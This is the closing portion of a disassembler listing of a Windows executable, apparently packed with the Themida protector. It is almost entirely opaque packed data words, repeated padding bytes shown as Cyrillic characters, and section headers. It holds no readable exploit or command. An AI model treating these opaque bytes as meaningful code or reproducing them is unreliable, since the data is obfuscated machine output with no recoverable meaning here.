		dd 0C3000000h, 0ACA12CCCh, 8310D1F7h, 917B3C28h, 0BFCD4E8Bh
		dd 0F681661Fh, 66590206h, 0F780FA8Bh, 45CC80F6h, 5840Fh
		dd 50B90000h, 0F1F5D37h, 82h, 0E2B86600h, 0EE9A9h, 212A0000h
		dd 77D21670h, 78195D6h,	90C7532Bh, 0EE8h, 0A6293400h, 0D0DE1CB1h
		dd 3C77D8E0h, 0F1CD538h, 681h, 890F00h,	5E000000h, 3820Fh
		dd 8B660000h, 0BE9DEh, 50670000h, 0DF56EE20h, 49CABF92h
		dd 13E950h, 10BB0000h, 8AA4E1CDh, 0F8FBBF09h, 405679D7h
		dd 922D9960h, 3CA9B895h, 880F0576h, 12h, 6E8h, 5927D400h
		dd 81A3B6F1h, 0B12EA6F1h, 0C38B5A3Bh, 0E987C180h, 11h
		dd 3C3B21F7h, 5FB17B1Ch, 0EAC6ECC9h, 5984722Eh,	0D3BF0FE0h
		dd 7A2AE981h, 8B6640D6h, 0BE9D1h, 0FC1F0000h, 0E19872DAh
		dd 71A91689h, 6820FB4h,	0F000000h, 8Fh,	1EC88000h, 6890Fh
		dd 8E0F0000h, 0
		dd 5E8CA8Ah, 0F2000000h, 3ACBFE05h, 0FEB70F50h,	8AF95A5Ah
		dd 0A2DBEC1h, 4EB73F8Ch, 0F6B70FFCh, 0AE8D68Bh,	5B000000h
		dd 0D29A5D8Ch, 907DDEF3h, 0F9BF0FAEh, 8BF38B5Fh, 1860FD7h
		dd 0F5000000h, 12E9h, 9026A400h, 0B3829531h, 1E2C1391h
		dd 0F4D1F33Bh, 6010DD5Bh, 6E960h, 0C1150000h, 888CD8AFh
		dd 0AE9h, 3F282C00h, 0E4163AF2h, 61D0ABD8h, 58DF8B53h
		dd 12E861h, 0F8C0000h, 0F55D0978h, 9D87C59Bh, 201C93CBh
		dd 2BCDE2FAh, 68A0Fh, 850F0000h, 0
		dd 850FF55Ah, 2, 10E95B50h, 0AD000000h,	0D37DB32Eh, 4332AC66h
		dd 0CD26CBBAh, 66A3F827h, 880FFA8Bh, 5,	57E98166h, 0FD68B77h
		dd 0D8Ch, 8E900h, 0DDF40000h, 0C62E3603h, 0BE66EC34h, 23BF3E47h
		dd 6647014Fh, 0FF0DF181h, 0E9D1B70Fh, 0Ch, 53219F2Ah, 83BA4B15h
		dd 37C2E05Ah, 0BE9D08Bh, 81000000h, 76340042h, 0DABA5001h
		dd 0E9604440h, 6, 8E8C9684h, 9E80867h, 0FE000000h, 0E80600E4h
		dd 62301E73h, 61585952h, 3890Fh, 0BF0F0000h, 13E8C7h, 959F0000h
		dd 61D2D080h, 3EFEAEF1h, 0B6FD8AC0h, 3CBF3487h,	58CF8AA0h
		dd 5850Fh, 71B80000h, 5706CB1Eh, 59C38B66h, 2860F60h, 8B000000h
		dd 61F18BCAh, 66FEBF0Fh, 0C181C88Bh, 621ABAC4h,	0B2B96FB5h
		dd 817770D9h, 97F63DEFh, 8850F4Ch, 51000000h, 5DC4DF81h
		dd 0F587764h, 7E9F6B7h,	15000000h, 0BB000F24h, 810F2832h
		dd 10h,	0BE9h, 39E67800h, 0EFEEABDEh, 0C619ED44h, 5E9h
		dd 3BF6B000h, 6656EC6Bh, 5EB59BBAh, 12E8h, 3C887600h, 4BFE855Bh
		dd 1A3CB9F5h, 0A221F6Ch, 5BB7F108h, 8166CB8Bh, 6057AAD1h
		dd 6820Fh, 0C3810000h, 79EF1E20h, 0B70F6061h, 0EF8166F8h
		dd 0E861005Dh, 0Dh, 0C3A44896h,	0CEC921F5h, 5AFB5152h
		dd 4850FE8h, 66000000h,	5A72D6BFh, 5BFE8B52h, 0E972DB80h
		dd 14h,	387D76C8h, 9A0B1CACh, 0B0CFAE30h, 189AA37Fh, 0D540D147h
		dd 0FE8F88Bh, 0CC000000h, 96AE1985h, 13181606h,	74959BE5h
		dd 0A7B4892Ch, 0ADB1FC5Bh, 0DE9h, 0BE99C300h, 0E0C22B18h
		dd 476F9EDAh, 666069DEh, 3524C381h, 6033DF81h, 0E86153DAh
		dd 0Eh,	27E35307h, 0CF924F3Eh, 2A6629F4h, 81662998h, 5ABC40F1h
		dd 8575FDBFh, 0B70F5220h, 0BF665FC6h, 81661850h, 0B727C5E1h
		dd 0EA81667Dh, 8B669734h, 0E38160F2h, 2366D7E2h, 3E0FA3BBh
		dd 0BE8615Bh, 0B5000000h, 51FFD74Eh, 635000BEh,	8EB5039Ch
		dd 0DA81665Eh, 0FCF58CE4h, 8D0Fh, 0B70F0000h, 98BF66DEh
		dd 0E915B1BCh, 11h, 0F3CBC1Ah, 2356DAA8h, 26E5C42Dh, 71C66537h
		dd 0DFF6815Bh, 0BA0273A1h, 55B66646h, 14E9C28Bh, 23000000h
		dd 0C4325F54h, 0D215A830h, 2D4E2BB4h, 2A806F81h, 0F4BDC92h
		dd 38Fh, 0CFB70F00h, 0BE8h, 0DBCAC100h,	167B6B88h, 317F8BBh
		dd 5E9h, 80902F00h, 0FC5F2C45h,	8001F380h, 0CE80CDEDh
		dd 0BE53F81Dh, 2CAF9693h, 0C881665Eh, 0B866E80Dh, 0E280BE77h
		dd 26B356BDh, 0CC41B859h, 81662245h, 0E90439CBh, 0Eh, 5778ADC5h
		dd 0A032C32Bh, 6FD42942h, 10E95CDDh, 8C000000h,	73EEE72Dh
		dd 7214A144h, 77E76C02h, 8166D1D5h, 656306C6h, 9E906h
		dd 0B7F60000h, 9A328D82h, 801CA8B1h, 8166FBC2h,	603390D6h
		dd 0EA8ABBB4h, 10E961h,	0F1F30000h, 283F1E08h, 6E927C58h
		dd 8817F742h, 0DE9F807h, 0BB000000h, 1D6B6AAAh,	61C8D036h
		dd 9159070Fh, 0E8B0Fh, 9E90000h, 0A4000000h, 449DD6CFh
		dd 3005241Bh, 0AC06BF66h, 13E9h, 2DEFE00h, 44E5F2A0h, 5A9089A3h
		dd 2F27FAFFh, 0AA104271h, 0BCF8051h, 0C1815258h, 1DD17F7h
		dd 7E95Fh, 0B2390000h, 0DF3F6BDCh, 2DD880C5h, 0F88B6657h
		dd 0E9F98B5Bh, 0Ah, 53321C65h, 6C210EFCh, 0D880D20Ch, 11E900h
		dd 0CA4A0000h, 0E6CFB416h, 22A8A756h, 0E30A9FADh, 56929B0Ch
		dd 0F02FCA81h, 665F0AF8h, 8AB0D4BBh, 12B966EBh,	8B666009h
		dd 0DD64B8D9h, 0F610014h, 53BBFAB7h, 0F5194F47h, 0CE9h
		dd 0B0E4AE00h, 0EE15CC3Ah, 4EF26B31h, 0C7B70F96h, 13E9h
		dd 5940A500h, 3F5443F4h, 0C378F94Eh, 6220369h, 0D01088FAh
		dd 8A83E080h, 12E8CAh, 2DD0000h, 0B1DC605Dh, 0A5A42A7Ah
		dd 0BC640CBEh, 0DBF0BAC6h, 48A0Fh, 0BE660000h, 665F2215h
		dd 0E9954FBBh, 0Ch, 0B5B131F4h,	39D1DE7Fh, 30AD4D67h, 0B8C68B66h
		dd 57A5445Dh, 8CC8BF66h, 0FFC60F5h, 0E861C7BFh,	8, 3983452h
		dd 0BB96AD83h, 5B1DC180h, 0FF3B70Fh, 484h, 24BA6600h, 7E990h
		dd 92F40000h, 3FA6FF36h, 0FBE38160h, 0E97F5AFEh, 7, 0CB7E636Ah
		dd 516503BAh, 0EB816658h, 20BA202Ch, 564D873Ch,	5BD08B66h
		dd 4B7CBE66h, 6E9h, 52ADA700h, 0B0B50D8Eh, 0EE98Ah, 28EB0000h
		dd 64BF174h, 5CB57CB1h,	0E3E7E8CAh, 0F0BF0FFCh,	5820Fh
		dd 41B80000h, 0E97009A4h, 14h, 31D63B53h, 33868F63h, 5AE1AB87h
		dd 0A642B736h, 3F66E4C4h, 3890Fh, 8B660000h, 0D890FDEh
		dd 51000000h, 6E9h, 4A05C600h, 5F1C0469h, 178C0F52h, 0E8000000h
		dd 11h,	2C298AC4h, 5E46696Ch, 5C6AC584h, 5FA19171h, 0F595B39h
		dd 8E9F7BFh, 47000000h,	0B3AC7D82h, 668BA51Bh, 0FD05CF81h
		dd 8B5EF851h, 10E9D0h, 0AB2A0000h, 0DCE77BFAh, 0DCF2C10Eh
		dd 0A0D524ABh, 95B812CFh, 817953B0h, 0D02B33E6h, 58D0F79h
		dd 66000000h, 4B91D681h, 8AC9BF0Fh, 0BE8D7h, 0A8910000h
		dd 524B0DFCh, 13A7176Ch, 52525BEAh, 0E0815E58h,	27F1F56Eh
		dd 13E9h, 8E98F900h, 0E844CCDBh, 8CF9FA91h, 6684417Bh
		dd 213B545Fh, 3180B866h, 0BE8h,	0C8E4300h, 54D4A0D4h, 0FA7D98DEh
		dd 38C0Fh, 0BF0F0000h, 880F5AD7h, 1, 810F52F8h,	0Fh, 0AE9h
		dd 0D4565500h, 0AC99F1F2h, 59BCC98Fh, 8B52CB8Bh, 0E9805BFBh
		dd 0DE94Eh, 0FFC70000h,	0FC0EF1C1h, 0F9D37EBBh,	66AE768Bh
		dd 0F6BCEE81h, 1880Fh, 0E9F50000h, 9, 5EA4F5DCh, 578C159Ah
		dd 0CE86Fh, 47EF0000h, 0D10F5B5Eh, 13E4DF58h, 66561631h
		dd 5A0163BBh, 66C58A5Eh, 0B4A8C081h, 0BB6001B5h, 660817FFh
		dd 0B66162B2h, 6E930h, 77960000h, 2378D93Ah, 890FFE8Bh
		dd 3, 66C7BF0Fh, 811455BEh, 6D597AD6h, 0F8F88B09h, 8166F9F5h
		dd 0BF0D5CF2h, 74DE875Bh, 8083F580h, 81F96FD4h,	0DB6C54EAh
		dd 0F28B6615h, 0F65DE281h, 5E91337h, 57000000h,	0FA16E893h
		dd 0CE3749BBh, 8BFA8B0Dh, 38A0FF1h, 80000000h, 0FE906F4h
		dd 0CD000000h, 0C9206153h, 0CC27915Fh, 25165DF0h, 0FA8ABD16h
		dd 0D78B6656h, 11E95Fh,	7C070000h, 46046BB3h, 90C39103h
		dd 33057974h, 0FEEBCCCh, 1F88h,	198C0F00h, 0E9000000h
		dd 14h,	0FCDF20E7h, 0DC06AC1Ah,	89833F7Fh, 8B6269B0h, 0FADC1301h
		dd 0CEE78166h, 9E86Ch, 0F0C00000h, 602E08A1h, 0BF3A0E87h
		dd 7B95BF35h, 5820F58h,	60000000h, 6119E580h, 18B0Fh, 8BF80000h
		dd 80C88BFAh, 0BE662BCDh, 816691E8h, 8B37E9E9h,	0E2ADB8DFh
		dd 816626EBh, 0FA400F1h, 385h, 42F28000h, 405744BEh, 0EABB667Ch
		dd 3880F5Ah, 60000000h,	12E961FCh, 0BF000000h, 8FD489FFh
		dd 64068461h, 9ABBE8DEh, 1850440h, 0C2B70F45h, 0B70FC88Bh
		dd 0E9C18BCFh, 0Ch, 0C99F8209h,	0EF120C2Ch, 0B0BB8E38h
		dd 38C0Fh, 0B70F0000h, 19860FD8h, 53000000h, 12E9h, 0DAE12B00h
		dd 5FBBCB65h, 31D63B53h, 33868F63h, 5AE1AB87h, 0FC78B66h
		dd 581h, 0F2816600h, 0F181FACCh, 4B74F925h, 51DBBF0Fh
		dd 28E0Fh, 58560000h, 0E8CA8B5Bh, 0Ah, 77CDF67Ah, 4A6B691Bh
		dd 0F681019Fh, 5741172Dh, 138B0F5Fh
		dd 0E8000000h, 8, 47C17DE9h, 0F221DC70h, 18D7D2B9h, 0C8805E71h
		dd 7E868h, 0FD410000h, 7D23A6FBh, 0FE9C3h, 0C6CA0000h
		dd 13FF8928h, 451F85A2h, 0BDD9F921h, 0BF66596Ah, 0E58A2440h
		dd 0FD78BF5h, 0BA66CFB7h, 810F5747h, 3,	0B3C8B70Fh, 5820F96h
		dd 66000000h, 1162C881h, 29F28166h, 0D48050BFh,	0E18A5A95h
		dd 0E681F5F9h, 36B73EC7h, 8E8h,	7342D200h, 6FEF9FF8h, 0D08166CEh
		dd 665AFA4Fh, 0BF0FD18Bh, 11E857C7h, 0D6000000h, 8C555B6Ch
		dd 3124C717h, 4AC833C1h, 0B1D7605Eh, 21E8A6BFh,	525F5913h
		dd 6E95Bh, 747B0000h, 92E5B83Ah, 3880Fh, 0F9570000h, 0C890F59h
		dd 0F000000h, 68Eh, 8A0F00h, 0E8000000h, 0Ch, 315638E7h
		dd 0E9BCBDE3h, 0D6127D40h, 0D6E78166h, 816658BAh, 66EEF3E0h
		dd 0B292B5BEh, 99B052F4h, 0EE95Ah, 3A660000h, 0FC5D66A2h
		dd 549F3790h, 0AFC47FFBh, 6056F38Bh, 820Fh, 61600000h
		dd 0E8F85A61h, 7, 0ED918514h, 0E9F8E9E4h, 9, 6D005109h
		dd 3599186Ch, 820F5E05h, 8, 28E0Fh, 5E500000h, 11E9h, 0AD3E1500h
		dd 0B7DAEB63h, 0C8C40A36h, 8C30A825h, 0EE804E0h, 72000000h
		dd 9DA01365h, 790434BEh, 97029FF5h, 0FABF0F3Ah,	0B70FF85Bh
		dd 14E8C8h, 9F010000h, 4C4C6BEh, 0FFE6109h, 4D1AFFBAh
		dd 85F3AFA2h, 0E85BDB06h, 0Ah, 988F15EFh, 0D3427254h, 5FF5C75Dh
		dd 14E9h, 859C0D00h, 964DC6A9h,	0FF337E1Bh, 0C89AB39Dh
		dd 0FEC5A0ABh, 9EE1818Bh, 0E955DA64h, 14h, 0AF4CDE60h
		dd 722809FDh, 0BA5CC5CEh, 6DF3F70Eh, 3C0A1E2Dh,	354F5AB9h
		dd 6890F4Fh, 81000000h,	6C6AB0E9h, 0CB8B665Bh, 0C57BBA66h
		dd 0F85AF956h, 0DF4BF781h, 840F040Fh, 6, 56D98B60h, 80536158h
		dd 665ABFD2h, 0F71DBBBh, 0F87h,	0AE900h, 0D5EF0000h, 5D474479h
		dd 6F792E93h, 0CE9h, 0D4589000h, 7B5AC48Ch, 378C7507h
		dd 0C881F57Bh, 38CB761Fh, 8E9h,	0BD04B800h, 0FCCB6827h
		dd 0D3BF0FC6h, 15810Fh,	0E9530000h, 0Eh, 70DF84A8h, 7CFFCC44h
		dd 0D942F0CBh, 0F585730h, 289h,	81F98B00h, 0DC3542EFh
		dd 0C2816676h, 0F3807917h, 0DFBB5675h, 5F27CE65h, 0E9C2B70Fh
		dd 8, 0F764258Ch, 0E9143679h, 61606060h, 0E4DB8166h, 13E96193h
		dd 76000000h, 877A4C9Bh, 0E498FF48h, 0A77F94EAh, 4B61AC4Bh
		dd 0E9619996h, 5, 6049BA29h, 0BEC68B08h, 70FB62F3h, 5BF18B50h
		dd 4870Fh, 0BF660000h, 0F570B9Fh, 68Eh,	850F00h, 5F000000h
		dd 260BF66h, 0E17B99BAh, 5890F75h, 0BE000000h, 3F26FB26h
		dd 0EF77BFF9h, 21BE2D46h, 666B23BAh, 0D281F98Bh, 7FA4D623h
		dd 482BBE66h, 15C88166h, 7E985h, 0C8DA0000h, 948E3B6Bh
		dd 12E833h, 0C32E0000h,	8A5BBB87h, 0A202C086h, 0A9F9D11Eh
		dd 0F3A3E6C2h, 0E86058F8h, 11h,	0A2627667h, 68FD1C3Eh
		dd 0A21A5201h, 4E9BA886h, 61EB80DDh, 0DEB70F5Bh, 0AE861h
		dd 25730000h, 0E0204261h, 0E0165E48h, 0F58DA8Ah, 0ADBBF0BFh
		dd 52578FA1h, 5ADA8B66h, 18C0F50h, 0F8000000h, 14E85Eh
		dd 0A6DC0000h, 57A1198Eh, 50F8EEAAh, 6C70374Bh,	0CBDAC72Dh
		dd 0BB663106h, 81587298h, 180B65E2h, 7E83Eh, 89D80000h
		dd 329FE5CFh, 12E904h, 0C1680000h, 4E8DE684h, 7CAFE59Fh
		dd 0C0EE229Bh, 8BFC7EDAh, 52F38A5Bh, 5800Fh, 0CFB90000h
		dd 5F420540h, 0D8F0Fh, 5E80000h, 0F9000000h, 487491FAh
		dd 0F595A57h, 388h, 0F28B6600h,	0F5202B5h, 0B82h, 5E800h
		dd 4C440000h, 59F099ADh, 6810F5Fh, 81000000h, 845A68D6h
		dd 0E9BE6621h, 1B7F87Ah, 0E85BF953h, 13h, 9E3FA434h, 369BF0FAh
		dd 1F339E96h, 8628DD63h, 56EC7376h, 870Fh, 5E5F0000h, 8B66D58Ah
		dd 0E6B966F3h, 63C8B8A5h, 0E8607B1Bh, 0Ch, 33C13124h, 605E4AC8h
		dd 0F63B1D7h, 4501EF81h, 0B1583193h, 850F61EEh,	16h, 11E9h
		dd 4CFBB300h, 2DE9B35Ah, 2F872762h, 0AE5DF8D1h,	0C68BE912h
		dd 80DBB70Fh, 5156E7E9h, 0AA9BBE66h, 0BF605E5Ah, 6CBADB03h
		dd 10E951h, 6AE60000h, 45FB4AFFh, 7F8693F5h, 2EB586B9h
		dd 615B0ACBh, 5880F60h,	0BE000000h, 4CDA4322h, 14E9h, 65001900h
		dd 196865F9h, 0A3EE8EBh, 266915Ch, 66B3A9D8h, 0D08B618Ch
		dd 12E8h, 17F16800h, 4C5F0ED2h,	504F4CFEh, 4E382F98h, 0E85127DCh
		dd 0Bh,	9153BDD8h, 8327EEB3h, 81DB4E71h, 7E81FEC9h, 0E95E583Ah
		dd 0Ah,	0EC063C65h, 34A5FA35h, 80608005h, 8D0F68CCh, 4
		dd 0F0BCBF66h, 2840F61h, 8B000000h, 0B70F60C7h,	0DE9F3h
		dd 0D60A0000h, 0DDE2EAA2h, 0A380BED1h, 61867A65h, 8B0FD88Bh
		dd 3, 81F98B66h, 0DBFFA5EBh, 5E967h, 85A30000h,	0BE47F076h
		dd 13F84BEAh, 8B66BFB6h, 12E9C8h, 0D4330000h, 0AE97D6F9h
		dd 5BD61584h, 51394387h, 8975F290h, 48BBF18Bh, 0E928FE86h
		dd 12h,	53557036h, 93E758C9h, 0EA084D78h, 6208B590h, 0BA6652F4h
		dd 66F80F1Bh, 0E780F78Bh, 60FE8B43h, 931601BEh,	10E8615Ah
		dd 0FA000000h, 0F54D3EBh, 0D28A3FB0h, 0C5B89A43h, 66644986h
		dd 5F9C89BEh, 57DF8B66h, 0E38C981h, 0F85E51A6h,	5E8h, 0B3EFB300h
		dd 8B51266Ch, 665B58DEh, 0C44C381h, 3890FFCh, 80000000h
		dd 0D68B73E4h, 0B8D0Fh,	8B0F0000h, 5, 417461B9h, 0D08B661Bh
		dd 36DDD281h, 11E825B2h, 1E000000h, 0F4D1F33Bh,	9F10DD5Bh
		dd 424665B7h, 4761105Fh, 87FCBE66h, 0F9BF0F5Fh,	8E8h, 6C16F200h
		dd 2048329Bh, 0BA605E76h, 6685BEDEh, 12E9h, 2B561200h
		dd 0D0B60C90h, 2EA02E48h, 5C244488h, 619ACDEBh,	8166F18Bh
		dd 0BA2716DBh, 3B3DD32Dh, 6E8h,	19485100h, 0E9DD810Bh
		dd 0Bh,	8D022D89h, 4CF3C8B2h, 5905D1B2h, 0D78BD7B3h, 1B22B866h
		dd 61D28166h, 10E960A8h, 24000000h, 220A5CF5h, 110F9B47h
		dd 0CEA78C85h, 0E9FD0EA0h, 7, 149AA7A8h, 6154B91Dh, 0CF81FE8Bh
		dd 25D7CE00h, 7E9h, 0D4437400h,	0EAA99109h, 1AEF8166h
		dd 0C68166F4h, 85BB44FEh, 0F114361h, 0E681FAB7h, 768C76C9h
		dd 7E8h, 38C5E200h, 49F3B3A4h, 8E0F505Eh, 6, 860Fh, 0BF590000h
		dd 6A6B6D8h, 28E0Fh, 4B20000h, 59F18B51h, 60E4B5FCh, 0FC8B70Fh
		dd 183h, 0FC61F800h, 4840F50h, 66000000h, 5F8AADBEh, 0FAF68166h
		dd 0E281667Fh, 0FF8B7A0h, 384h,	76EF8000h, 14E8h, 32D92400h
		dd 17C12D8Eh, 6D4AA1A2h, 0FDE2CA1Eh, 0CEB1289Eh, 6659FCCAh
		dd 1F5EF681h, 0FA8B6652h, 12BE665Bh, 0EB8160A7h, 219679B8h
		dd 10E960h, 0E4BD0000h,	9CEE46F9h, 62A25EBCh, 0CA38BB56h
		dd 8166D7FCh, 61F0AACEh, 7FB96061h, 80374266h, 60619DCFh
		dd 810FF98Bh, 0Fh, 0AE9h, 0BC8B0F00h, 0E309263Fh, 614DC455h
		dd 0F6F392B8h, 0B6D28133h, 66708E6Dh, 8166C68Bh, 526B0EF1h
		dd 0BE9h, 81486900h, 9EBD657Ch,	63BDA868h, 0DA81665Eh
		dd 0F5BAB68Ch, 0F812DE67h, 0FCBB70Fh, 0C081DFB7h, 18D8F213h
		dd 6E9h, 28676E00h, 0F92E390h, 8Bh, 0FE900h
		dd 9B3D0000h, 0F948318Dh, 0A14FA3A2h, 63C3EA2Dh, 0FE8A1h
		dd 57A30000h, 6AD6022Ch, 0B7DBA78Fh, 0B96A50D1h, 10E95E7Bh
		dd 5A000000h, 0E989AA78h, 89F373ABh, 0BF265D40h, 0FC46973Eh
		dd 57C38BF5h, 0DBB6E381h, 8B5810B5h, 10E9FAh, 5C2D0000h
		dd 0E7562602h, 0D24C13B1h, 7D62B365h, 816626CCh, 0D25E43DAh
		dd 163h	dup(0D32A01DEh)
		db 0DEh
byte_5C1A81	db 1, 2Ah, 0D3h		; DATA XREF: Themida_:00548E14o
		dd 2C6h	dup(0D32A01DEh), 9DF106DEh, 120h dup(9DF10576h)
		dd 69F10576h, 27h dup(69A565D1h), 0BDA565D1h, 0E9h dup(0BD65EE5Ch)
dword_5C2E68	dd 2E8h	dup(0BD65EE5Ch), 0EAD1EE5Ch, 0Dh dup(0EAD66082h)
					; DATA XREF: Themida_:00549F76o
		db 82h
byte_5C3A41	db 60h,	0D6h		; DATA XREF: ___:off_4378F8o
byte_5C3A43	db 0EAh			; DATA XREF: ___:off_439A30o
dword_5C3A44	dd 7 dup(0EAD66082h)	; DATA XREF: ___:off_439A28o
		db 82h,	60h, 0D6h
		db 0EAh
		dd 1A1h	dup(0EAD66082h), 0CCD66082h, 593h dup(0CCCCCCCCh)
		db 0CCh
asc_5C5739	db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
					; DATA XREF: Themida_:0055AEB0o
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'лллл',0
		align 1000h
Themida_	ends

; Section 5. (virtual address 001C7000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001C7000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5C7000h
		align 2000h
_idata2		ends


		end start